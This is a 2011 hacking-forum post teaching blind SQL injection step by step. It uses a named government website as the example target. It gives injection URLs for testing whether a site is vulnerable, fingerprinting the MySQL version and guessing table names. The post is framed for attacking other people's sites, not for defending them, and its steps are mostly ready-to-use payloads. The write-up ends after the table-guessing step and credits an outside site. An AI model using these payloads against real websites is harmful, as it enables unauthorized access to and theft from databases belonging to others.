

Forum:[Hack Forums](#)

Thread: [\[HOT\] Blind SQL Injection ! \[HOT\]](#)

Stenography - July 2, 2011, 2:52 am

blind sql injection

if you dont know about mysql injection turn around and learn it b4 u even consider learning this, because this is a whole different story.

1. test for vulnerability

so you have a site lets say :

Code:

`www.cia.gov/news.php?id=1`

just like normal mysql injection but for blind you put

Code:

`www.cia.gov/news.php?id=1 and 1=2`

if you see any text from the page missing or an error message like invalid id or db_error select * from xxxx@localhost call line "/" or anything like that then its vuln this works because 1=2 is always false you see if it was

Code:

`www.cia.gov/index.php?id=1 and 1=1`

then you would get the normal page because 1=1 is always true

:b-beg-2. mysql version

to find mysql version you need to do this query

Code:

`www.cia.gov/index.php?id=1 and substring (@@version,1,1)=4`

if the pages comes back true then the version is 4 if not then try

Code:

`www.cia.gov/index.php?id=1 and substring (@@version,1,1)=5`

if it comes back true then its a version 5

3. fuzzing tables and columns

to find the table name you need to guess it so... here is the query

Code:

`www.cia.gov/news.php?id=1 and (SELECT 1 from admin limit 0,1)=1`

i have guessed the table admin if the page loads true then the table exists eg. the table name is administrator and we try

Code:

`(SELECT 1 from users limit 0,1)=1`

then it will return with an error a.k.a. false but if we did

Code:

`(SELECT 1 from administrator limit 0,1)=1`

then it would not error a.k.a. true

All credits given to: http://secretz.wapka.mobi/site_49.xhtml

Enjoy ?